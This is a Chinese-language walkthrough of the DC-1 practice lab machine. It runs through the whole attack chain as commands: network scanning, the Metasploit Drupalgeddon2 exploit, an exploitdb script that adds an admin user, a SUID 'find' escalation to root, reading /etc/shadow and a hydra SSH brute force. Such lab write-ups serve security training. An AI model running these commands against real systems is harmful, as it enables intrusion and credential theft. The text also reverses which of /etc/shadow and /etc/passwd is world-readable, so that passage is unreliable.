渗透DC-1
参考 渗透测试靶机:DC-1_prettyX的博客-CSDN博客_dc-1靶机渗透
1、扫描主机
arp-scan -l
2、使用nmap扫描mac地址(在vbox上有设置的这个)对应的ip 180
nmap -sV -A ip
-sV:探测端口服务版本;
-A:全面系统检测。
3、打开运行的网址
4、安装插件Wappalyzer
可以获取到Drupal的版本
利用漏洞
1、进入msf
msfconsole
2、查找模块可利用漏洞
search drupal
可以看到很多漏洞,这里使用2018年的,使用的时候仅需要在前面加上use,如下图
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.110.180
run
获得了shell
3、根据Flag1的提示,我们查找、查看CMS配置文件:
发现第2个flag文件和数据库用户名和密码
虚拟终端pty,python下可以调用pty这个库获得交互式shell
在shell下输入
python -c "import pty;pty.spawn('/bin/sh')"
下面调用以后会出现$
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便了破解admin的密码,更直接。
searchsploit drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.180 -u admin2 -p admin2
运行出错
因为2.x python打印是print"内容" 3.x python打印是print("内容")
那么改成
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.110.180 -u admin2 -p admin2
或者对python加入版本控制
对python版本设置版本控制_贪睡的蜗牛的博客-CSDN博客
去数据库查看是否加入成功
使用admin2登录,会发现登录成功
/etc/shadow文件存放着linux系统用户的密码信息,称为影子文件,该文件允许所有用户读取,因此linux系统将用户的密码从文件分离出来,并单独放到/etc/passwd,此文件只有root用户拥有读权限
应该要查看shadow文件,并使用find命令提权
使用find命令查找有特殊权限suid的命令
find / -perm -4000
使用find命令提权,root
find ./ aaa -exec '/bin/sh' \;
获得权限并查看文件
whoami
cat /etc/shadow
使用hydra+John密码包对flag4的密码进行爆破
新建一个john
mkdir john
cd /john
下载john
wget http://www.openwall.com/john/j/john-1.8.0.tar.gz
解压john
tar -xvf john-1.8.0.tar.gz
进入src文件夹里面
cd /john/john-1.8.0/src
编译john
make
对john的解释
语法: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
参数
含义
-R
接着上一次的破解进度继续破解
-L
指定一个用户名字典
-l
指定一个用户名
-P
指定一个密码字典
-p
指定一个密码
-e nsr
n 代表空密码
s 代表密码与用户名相同
r 用户名反向(root:toor)-o
将爆破结果保存到文件中
-t
指定爆破的线程
-vV
显示详细的爆破细节
-f
当遇到正确的用户名和密码的时,就立即停止爆破
-M
指定爆破目标文件
hydra ssh://192.168.40.140 -L /usr/share/wordlists/user_1.txt -P /usr/share/wordlists/pass_1.txt -t 16 -f -vV
-L指定一个用户名字典,-P指定一个密码字典,-t指定爆破的线程,-f爆破成功时候,停止爆破,-vV显示爆破进程
我们使用下面这个
hydra -l flag4 -P /john/john-1.8.0/run/password.lst ssh://192.168.110.180 -f -vV -o hydraflag4.ssh
flag4用户使用ssh登录
ssh flag4@192.168.110.180
在家目录里面发现
但是发现没有权限访问
进行提权
然后在root家里发现最后一个flag文件